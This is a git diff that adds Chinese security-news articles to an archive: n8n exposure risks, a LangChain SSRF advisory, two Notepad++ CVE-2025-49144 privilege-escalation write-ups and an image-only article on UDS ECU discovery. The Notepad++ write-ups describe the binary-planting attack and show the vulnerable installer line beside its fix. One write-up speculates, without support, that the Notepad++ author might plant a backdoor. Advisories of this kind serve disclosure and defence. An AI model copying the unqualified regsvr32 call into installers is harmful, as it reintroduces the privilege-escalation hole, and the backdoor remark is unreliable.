+没有防护的情况下，大量HTTP请求很容易使n8n崩溃——尤其是在弱服务器上。常见目标：/webbook/或/rest_endpoints。 + +**暴力破解或自动化API模糊测试** + +如果界面暴露，机器人可以在几秒钟内测试数百个路径（/rest/executions、/rest/credentials、/rest/workflows）并尝试提取数据。 + +**基于CVE的漏洞扫描** + +知道是n8n及其版本后，攻击者可能利用已知漏洞，如： + +○ CVE-2023-27562（路径遍历） + +○ CVE-2023-27564（凭据泄露） + +以及其他关键问题。 + +**通过Docker配置错误自动化利用** + +如果您错误地暴露了端口如5678、15672（RabbitMQ）或3306（MySQL），攻击者会发现并访问它们。 +## 2. 通过基于n8n的公共Telegram机器人泄露数据 + +以这个例子为例：Reddit上的用户发现可以通过搜索"n8n助手"找到其他人的n8n机器人。然后只需发送一条消息——机器人就会回复，将所有者的私人数据（日历事件、会议、电子邮件）暴露给匿名陌生人。 + +**发生原因：** +- 机器人公开可访问——未强制执行user_id +白名单。 + +- 任何人都可以与之交互并接收响应。 + +- 没有输入过滤——工作流首先获取数据（例如日历信息），然后才检查权限——但为时已晚。 + +**后果：** +- 个人信息（会议、电子邮件地址）暴露。 + +- 如果响应中包含内部令牌或API密钥，可能导致泄露。 + +**结论：** + +这个案例真实且非常严重。即使没有直接的n8n漏洞，机器人也可能成为数据泄露的完美载体。 + diff --git a/doc/2025-06/【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828).md b/doc/2025-06/【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828).md new file mode 100644 index 00000000..1bf3c8af --- /dev/null +++ b/doc/2025-06/【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828).md @@ -0,0 +1,31 @@ +# 【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828) +cexlife 飓风网络安全 2025-06-24 05:07 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu00Um94S0fA3hKOSSz2ctOSo9nNIeuoJkvSXZWjyoDkhwSrS1kmF4CO2p42N6UAVss7b8mLDQqE6kw/640?wx_fmt=png&from=appmsg "") + +漏洞描述: + +服务器端请求伪造SSRF漏洞存在于lаnɡсhаin-соmmunitу包的RеԛuеѕtѕTооlkit组件中具体来说是lаnɡсhаin_соmmunitу.аɡеnt_tооlkitѕ.ореnарi.tооlkit.RеԛuеѕtѕTооlkit在 lаnɡсhаin-аi/lаnɡсhаin版本0.0.27此漏洞发生是因为工具包不对远程互联网地址的请求进行限制,从而允许其访问本地地址,因此攻击者可以利用此漏洞执行端口扫描、访问本地服务、从云环境（例如 Azurе、AWS）检索实例元数据,并与本地网络上的服务器进行交互,此问题已在版本0.0.28中修复。 + +攻击场景: + +攻击者可能通过LangChain的RequestToolkit组件对系统进行攻击,例如通过远程互联网地址的请求访问本地地址。 + +影响产品: + +LangChain的所有版本  + +检测方法: + +通过查看LangChain的版本信息来确定是否受影响,使用命令pip show langchain可以查看当前安装的版本。  + +修复建议: + +建议用户关注LаnɡChаin的官方更新,及时安装补丁以修复该漏洞,具体补丁信息和安装步骤请参考官方文档 + +缓解方案: + +短期内建议用户限制对LаnɡChаin应用的访问权限,确保只有授权用户可以访问相关功能。 + + + diff --git a/doc/2025-06/【CVE‑2025‑49144】Notepad++提权漏洞.md b/doc/2025-06/【CVE‑2025‑49144】Notepad++提权漏洞.md new file mode 100644 index 00000000..11599cf1 --- /dev/null +++ b/doc/2025-06/【CVE‑2025‑49144】Notepad++提权漏洞.md @@ -0,0 +1,81 @@ +# 【CVE‑2025‑49144】Notepad++提权漏洞 +原创 Blue17 表哥带我 2025-06-24 07:18 + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/pxKqYxJWy7MHqrAcwIGH5K7UvO9SFI4EkaH4ooCVsu7cll9674CjgclKxGIKcM5MNF5s7vnK2NjZ6tliaQ0FWNg/640?wx_fmt=gif&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "") +#### 漏洞描述 +### + +Notepad++ v8.8.1 安装程序被披露存在提权漏洞 +CVE‑2025‑49144 +，非特权用户可通过不安全的可执行文件搜索路径获取系统级（SYSTEM）权限。 +#### 漏洞详情 +### +
信息类别具体内容
漏洞编号
CVE-2025-49144
影响软件
Notepad++ v8.8.1 及之前版本的安装程序
漏洞类型
未受控的 EXE/DLL 搜索路径（二进制文件植入）
漏洞等级
高危（High）
发布日期
2025 年（具体日期随研究报告披露时间而定）
漏洞影响
本地权限提升至 NT AUTHORITY\SYSTEM 级别，可导致系统完全控制、数据泄露等风险
### +#### 攻击方式 +### +
攻击维度具体内容
攻击准备
攻击者将恶意可执行文件（如 regsvr32.exe）放置在目标目录（如用户下载文件夹）
攻击载体
用户下载并运行 Notepad++ v8.8.1 安装程序
攻击执行机制
安装程序在当前工作目录搜索依赖项时加载恶意文件，以 SYSTEM 权限执行
攻击结果
攻击者获取系统完全控制权，可执行任意代码、窃取数据或横向移动
真实攻击场景
通过社会工程学诱使用户将恶意文件与安装程序下载至同一目录，运行后自动触发攻击
### + +![](https://mmbiz.qpic.cn/mmbiz_png/pxKqYxJWy7O57qSYibvCyNEmokmftcKyToeUBW3RCVBQt5gJeEqdw1aTIn0SDgmg2Eic9ricR5yN341Ypl5UiaBLDg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/pxKqYxJWy7O57qSYibvCyNEmokmftcKyT7xrtuzxMxEibJEuxTmq46m9AQGSq7ic0Q9SAxPrEQhMBYxsibPy8ouuKw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/pxKqYxJWy7O57qSYibvCyNEmokmftcKyTNiaHZyRRyoCwkn5fLxr1RqT3VsGEV8kic5sck9ZpTJ57eAFScN9ywZYQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/pxKqYxJWy7O57qSYibvCyNEmokmftcKyTvYIa31cV7HrYepzArH1az9TphuCSPfsjPHF6t7UXricicAaVYdWicBicLw/640?wx_fmt=png&from=appmsg "") + +已定位问题根源：Notepad++ 存在 EXE 侧加载漏洞，因调用 regsvr32 时未指定绝对路径，导致其从当前工作目录加载恶意可执行文件。 +``` +ExecWait 'regsvr32 /u /s "$INSTDIR\NppShell_01.dll"' +``` +``` +ExecWait '$SYSDIR\regsvr32.exe /u /s "$INSTDIR\NppShell_01.dll"' +``` +### +### 修复与防护建议 +### +
防护维度具体措施
官方修复方案
升级至 Notepad++ 8.8.2 及以上版本，安装程序已改用绝对路径加载依赖项（如$SYSDIR\regsvr32.exe）
用户防护建议
1. 从官方渠道下载安装程序，避免从非可信来源获取
2. 运行安装程序前清空下载目录中的可疑文件
3. 使用安全软件监控安装过程中的文件调用
开发修复实践
1. 对安装程序依赖项使用绝对路径加载
2. 实施可执行文件数字签名验证
3. 创建随机名称的安全临时目录
参考标准
遵循微软《安全库加载指南》
#### +#### 相似漏洞 +- CVE-2023-6401 与 CVE-2023-47452（Notepad++ 旧版本漏洞）。 + +- CVE-2024-44346（类似的二进制植入漏洞）。 + +- 戴尔 SupportAssist 漏洞（DSA-2024-312）。 + +Notepad++ 早年的一个公告 + +不过以其作者的尿性，是后门也不奇怪 + +对不支持其政治立场的用户在代码中随机插入字符 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/pxKqYxJWy7O57qSYibvCyNEmokmftcKyTrialZQI8oPPU6HpOqrUuqcjBAY4k8edMicmRicdicsfHVjKs1twsLIBsRQ/640?wx_fmt=jpeg&from=appmsg "") + +**违背开源精神** +开源软件倡导自由、共享和协作，其目的是为了让全球开发者共同受益和进步。作者将个人政治立场强加于软件，并以破坏用户代码相威胁，严重违背了开源软件的本质和初衷，破坏了开源社区的信任和生态。用户使用文本编辑器是为了高效地进行代码编写、文本处理等工作。作者的行为将个人主观意志凌驾于用户之上，无视用户的权益和需求，可能会给用户带来巨大的损失，如代码出错、工作延误等 + + +以下是一些 Notepad++ 的平替软件 + + +- **Sublime Text** +轻量、简洁、高效且跨平台。具有多重选择功能，支持宏，启动速度快，内存和  CPU 占用率低。智能代码补全功能强大，能根据代码上下文预测并提供补全建议。支持多种编程语言，语法高亮效果好，还可通过插件扩展功能，如  Emmet 可快速生成前端代码，GitGutter 能显示 Git 状态。 + +- **Visual Studio Code** +跨平台编辑器，针对现代 Web  和云应用开发。它有丰富的扩展生态，能满足各种开发需求，例如安装 Python 扩展可进行 Python 开发，安装 Java 扩展可进行  Java 开发等。集成了版本控制系统，方便进行代码版本管理。调试功能强大，能帮助开发者快速定位和解决代码中的问题。 + +- **Github Atom** +由 GitHub 专门为程序员推出的跨平台文本编辑器。界面美观、现代化，使用舒适，设置管理方便。支持各种编程语言的代码高亮和代码补全，原生支持 Git 和 Markdown，有文件树列表功能，方便多文件管理，社区活跃，插件和主题丰富。 + +- **BowPad** +带有功能区 UI  的简单而快速的文本编辑器，使用方便，可颜色标注重点部分，支持内嵌式编辑和代码编辑。支持多种编码格式，语法高亮功能覆盖超过 100  种文件类型和语言。其直观的 ribbon 界面让用户能迅速找到所需功能，垂直滚动条中集成导航提示，便于在长文档中定位，还可通过插件扩展功能。 + + + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/pxKqYxJWy7PZVHNNkiaicj7KnaO5w6yqAgKHGxN5p6TTJmTFGcknj1Uiac9U3B3qGYjApcPpb4BcjbqI8iax2XwqMw/640?wx_fmt=jpeg&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") + +**扫码关注我们** + +微信公众号：表哥带我 + +本文供稿：Blue17 + + diff --git a/doc/2025-06/【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144).md b/doc/2025-06/【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144).md new file mode 100644 index 00000000..6e87d9d7 --- /dev/null +++ b/doc/2025-06/【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144).md @@ -0,0 +1,37 @@ +# 【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144) +cexlife 飓风网络安全 2025-06-24 05:07 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu00Um94S0fA3hKOSSz2ctOSoydLvUr0riaZlHTq9ibFyCaia1UhIpMIw1quoYbyKQZMVia6qFZYSTtkqibA/640?wx_fmt=png&from=appmsg "") + +漏洞描述: + +Nоtераd++是一个免费且开源的源代码编辑器,在8.8.1及更早版本中,Nоtераｄ++v8.8.1安装程序中存在一个权限提升漏洞,允许非特权用户通过不安全的可执行文件搜索路径获得SYSTEM级权限,攻击者可以使用社会工程学或点击劫持诱使用户将合法安装程序和恶意可执行文件下载到同一目录通常是下载文件夹该目录被称为易受攻击的目录,在运行安装程序时,攻击会自动以SYSTEM权限执行,此问题已在8.8.2版本中修复并即将发布。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu00Um94S0fA3hKOSSz2ctOSoQ9xG1TCPP8nLibuS4JbAbM3U59k8vrJMuxIQibezdp5tHeQSfQtLB3bA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu00Um94S0fA3hKOSSz2ctOSowIHJMfRUxnc1oVzX9HI5wOr6KuqdNbL6Ta5QVsibic1Imyd0nkVvQUqQ/640?wx_fmt=png&from=appmsg "") + +攻击场景: + +攻击者可以通过社会工程学或点击劫持诱使用户将合法安装程序和恶意可执行文件下载到同一目录导致权限提升。 + +影响产品: + +Notepad++所有版本  + +修复建议: + +补丁名称: + +Nоtераｄ++权限提升漏洞的补丁-更新至最新版本8.8.2 + +文件链接: + +https://github.com/notepad-plus-plus/notepad-plus-plus/releases/tag/v8.8.1  + +缓解措施: + +建议用户定期检查软件更新,并及时应用安全补丁以降低潜在风险。同时增强对文件来源的审查,避免打开不明文件。 + + + diff --git a/doc/2025-06/使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞.md b/doc/2025-06/使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞.md new file mode 100644 index 00000000..4f4ef7e6 --- /dev/null +++ b/doc/2025-06/使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞.md @@ -0,0 +1,190 @@ +# 使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞 +GRCC IoVSecurity 2025-06-24 07:46 + +![](https://mmbiz.qpic.cn/mmbiz_gif/CQb4KERYG3QA0ezCCjgRONQvXCf3wka7je04trwIyMqsDUWBubpwfiahXImiaoia7NnueGomOO28vicSZ5wEFFTa1Q/640?wx_fmt=gif "") + +点击上方 +蓝色字体 +，关注我们 + +**/** +**技术交流群****/** + +添加微信15021948198，申请会员下载ppt & 加入汽车网络信息安全、测试评价、汽车电子、自动驾驶技术交流群、招聘求职群、 +投融资 +合作群... + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4I9YofUzaw6sx6CLycoM00evI54SibEsknfrfy0u6qfZiczveFVLqntWg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4YoGx9yx4nxXUFrhs8UXywbElgKVaFuJMZk43BNbJ7uuNJIM8YyjgFA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4EYALa4MEJdfYN8Qz3FAoKoKkEjlhOyXWZrExO1LVJcIKDxu0e8UUWQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia433XjJb49SPdLwjD3sIPSBMrvIWDnKGAhYPOm6GTibv4sCUsRWQQcxzw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4j68d17UGfE4OiapWwDGIrSMUGhNPJp33PrOwVcFkd7IP127TNiayFrHA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia42CXOWWJzNuZ9m0T88ogFummjxnV71Bf50uYByYFvthBhgpCmRl4dIg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4UrGW4h41lI2fDvH97OKIe4etRmUByYMRneNKzwuHicicg7thLqPIX5Gw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4SJCg6EJPraic3od8miaHT0YSlFW2kvtgDrEMwrJCDgyibXlNeqa5icwLHA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia42RzKqXooZMrNHTsUQjW821PblYMicwy58pVrmJHwELbDHZXKZicqoSHQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4zG6ib5U0NWGiaLxPs5j6NQn6bevU965ib1d7sDfiaoLX6tCmD2fAUn4B5w/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4cdGyONXoTRCkibdjm0CSWUztUv4M7a3tvrtUAmrkAycqBqic1Gn54MMA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4IImLTXgCsgsBtX2JkCbGKOvLoFia8zgicmLNUpBWic5O1l7cHdY22vaBw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4I2kxyeMTBOCicJNqB1cUMIwn4tJcNyKJ9ZDIo0UibE7zOzqlicSiaprib7Q/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4ZdelicLXjDVyuMS6eZo05l7xzpOGm5GtYwlLVPOibVA0EepU706Cic3Yg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia456Ox8W3VmnEJkdm30tpkrYuzfCItRQxwRogPGKZGoWDz8SMBlflVcg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia47ghrMeSz12DV1ILSKeFQ4qPwSK5xXow4u8jahpXlQgsMofsjNVMYog/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4HsG7pRjVYRxSN17fOtqf83VicypCDkNOZ6au3tnDvWK6E4mwEb2bw9g/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4zP1I0QW19J24SpKo88N3alBL7bQ4WR9UI2EichcFKkekjPWxEaK9TibA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4HqX8jGYnofgEkf83Yjr3VlB5RjdMMD5P2rDOb8sXszGOFGUhwErdWw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4onfgEMlFlibWd01LFLQmSSIbQsTaIIiaCagyJffn1jDRu907KeWuQUow/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4bawKian8IpibnLksicQn0dVMibkkSwVZlwFljN1Zt2rFnre6ZzOGrp6pVA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4rgyl0sdicWuD9P0FGQZpqP9U3FaE9jHsI6KmmoEoTpNb8ibC23Xt4jVA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4JdBUtjueicVMibsqRJ0HfZuoDqxyBZcT7kTIWtic7LhJGGeUlDnJwCFMw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4uJAQBjlMo5EwmqjpZnyBfQ6vRDKWHic1MOeOdCARqibPEyjwuNFLicibQQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4S3FlM13WCCwUib6lpMAKdia3rPiaEjPobmcicOQRpR6ytkSAyp13gwNPkQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4V07oud3qnJkP81yZ8XFWwCibDgVTRics1damtkTWlGvPnnfAX0wFRFcw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4tlVJibzeEPJAAH6qz6CWPjc1t6liaC3Yiaz8ibCEGnMRuibWkz3B22dhibpQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4iax1M3Kje93NYBwibbuqdAAMhoE7BRD6gaTERtgZExVPQQbfJXNcQjUw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4lIBorfuEicwic2FvTwibbrGkVMlXic48PnsjI6WvS9XUm4Ssic3Q4P2ZVew/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia41CNJYPgpgdibbNMu9MNQV7GAXblnRMYIDuibfdCIQaI5CcozfiaLnDEzg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4SjRRbGb6J9KiczVibz2UM7lT7QAzRibWTkcFsUnJic0mnJ7UZakuicktjoA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4SKTWVVS8MEDlGHuykWEPP4ia7MSlp42WuEbXdvPdRs3KK1znY6b6MMA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4EWxM0S2ibicLZsD2IorMVYIzCCjGla3AkL16mNyXFcPRTia3LNUsGibu8A/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4n5xibk3eYEiaOPKJDazL62JTibv32BNSUh2ficYoYfsJUHcKGaKKKgSOOA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4Q3pV9EnWbTtKN2JuRAibapNNAS98x7ejqMkjicMnBibJaouRYvfawgazg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia45wWQCk1bPNyg39gia7nVy7n01lR4pUOjXj2wh5b9Wl9ibIGlvGwrSduQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4lEgbiaeTnPCWJpSrEvrE9kiaeUhl4VgJKDdkGzZ6RlEIuDvQwaW3ogyg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4581JibyADosdFiaySuQiaTvuEl7hVOQGgUueRIDWUfSon1Z185Ee0V8Mg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4h9JW1ickCHnJ7xiaJVRWyW8uBKpopAxENIrfm7CBcfU8ZJmZgUca28sQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4LLHm5pR9Un7LbqKWT4g78m026Et2ABDZT3LwKyicKggaEVFCuDLM7sw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4aHwQObY5mhW4K84l3cGhbsQbmtcEvdtJhFvalXpu72v0k6urqJJJNg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4ibn0PDKAx3SQyMGlgdJasRK1ialT2SUBl0mUatS5IiabPdBTSMpgL5XJQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4xovxF9jO988buPZDMW6d1wUWjdr1nUwicJkOGg3icDLbfT2u3neZJYxg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3VJ5u2SrIw6Iib1pJl908ia4FclcXa3rT21aVljrZjDLpqJ0d86VHBPfgj6oib4uSjtMPROdVoppSjQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iabwjyojLhA03PtxUnkNPREnt2F48ywfXLpDdDAjicOTPI8Q94tVLbJ58tbRs12iaXDKhUOW9gd4NlFA/640?wx_fmt=gif "") + +相关文章 + + +[静默禁用](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247516355&idx=1&sn=63a68db754586b7adc670d37bdabce04&chksm=fc02d009cb75591feee889fbf6c84979d9bf298c06914a63697288047688ab4ac1d0fede2205&scene=21#wechat_redirect) + +[ECU](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247516355&idx=1&sn=63a68db754586b7adc670d37bdabce04&chksm=fc02d009cb75591feee889fbf6c84979d9bf298c06914a63697288047688ab4ac1d0fede2205&scene=21#wechat_redirect) + +[，启用CAN总线盲攻击](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247516355&idx=1&sn=63a68db754586b7adc670d37bdabce04&chksm=fc02d009cb75591feee889fbf6c84979d9bf298c06914a63697288047688ab4ac1d0fede2205&scene=21#wechat_redirect) + + +[CANdid - 绕过 ECU 身份验证的隐秘垫脚石攻击](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247584509&idx=2&sn=b66af41d7424792a966e770de9ef0994&chksm=fc03da37cb7453218eee93955bce8084d983a5e874f090f89faf2347097a8b275bb754f52722&scene=21#wechat_redirect) + + +[保护基于 AUTOSAR 的 ECU 免受网络风险，以实现创新的移动性](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247584509&idx=1&sn=ace95fd735b49fa3afba4dfbb40e67a4&chksm=fc03da37cb745321dc8e735b2ffc6009e91a9951bfb3eff444d2a376e49a071c059fa02d502e&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/MfTd6rd9CyvNRMW8I9cvI1CK5gKiaYqg2veTn9t9dAe1GxYic7pAvgvRIKNFickConFyX8AvW2reAq8GchJI6aBpA/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3mtDUr1XuyW2cYG7Sw2EiaUrea3t4ogqdJwheZChf1oxpNbrdfASs0NaXpeCe0UX0fjAOKpcCia0Iw/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm0gS0uHpiblBwuOoicp3VsHkfiawbEBGHGwt1TJkyALdfNgYwl8ic3CmSzdr8hI7Qg0OfZMA0d6Y1enyw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm0IDRYOFLl2XY8nUgX5iaUL7KV9Dr2UTjQBXXZGlwDOPNbVyedZcLn3Z5sEqW0PEwwuLU7b7lRAvwA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp "") + + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3blv4rkY4Rb273UGM23NhicAN2ZR203uG08ubJox357DvePVib6R0WciciaqnicS1nrR3k8ianibkvjFCKw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp "") + + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3mtDUr1XuyW2cYG7Sw2EiaUzLVR34dPLh7X6S455ib0RmtTrKMFGaCpHFHeCZ3LbDq8jw66s9KMwtA/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp "") + + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm3mtDUr1XuyW2cYG7Sw2EiaU1nZgTyoGxRdBsNDiahQUxiad8UibAob7t3tL8I7gxLsYBNYvib8kjmibS2w/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/8Pvibnf7ic0cy77VtN8ibA7XuZgvGQoicjpar7CWkfIEXV4CEjiankS0tjDZEUgxhNHf0HicpBNcO4YuhOm5eIdb7RaA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/9yhibG49kQicogTWBZcB6XwgTib9lH6QN57pFdZwoRicFbc3JLM7icu8hadyzRKztBHGZ7eDEVgMiaHYqExfhbbpb5vA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/uTSIm9RGwm2F3KDtuNYvmkK20aeBw5tzC4P9ibHF9ZvNa8C5jrwloaUH0C7GHj5j9icJh7XicdFckbQ3M0sSlKs8w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +扫描二维码**申请** +会员**下载ppt** + &  +加入 + +网络信息安全、测试评价、汽车电子、 + +自动驾驶、招聘求职等行业交流群 + +获取合作机会 + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/kuhNyShuqyAGSIk680L6OHthYzkwuUDkKqfw3icohb1JLrEvjicKgfaiatIDP1L7RN7zPQkzbrksWzTMmgh5LKjzA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/uTSIm9RGwm0ibSggKRaicPibLl2nXk3lGdgeoXo0P9Xy8e2aNHPm3LOhKjicHk2zhB5V1ar3CwUTs258UkiaTPYq4gw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +扫描二维码获取 + +更多精彩 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/XiacM3aibSNia0qvdL1PUiaZugASarnXx5wAxT5ic13sgRB49E67AsdWeZpHnibUEW2oibToqEWRjHmImztgv33MaknnQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + 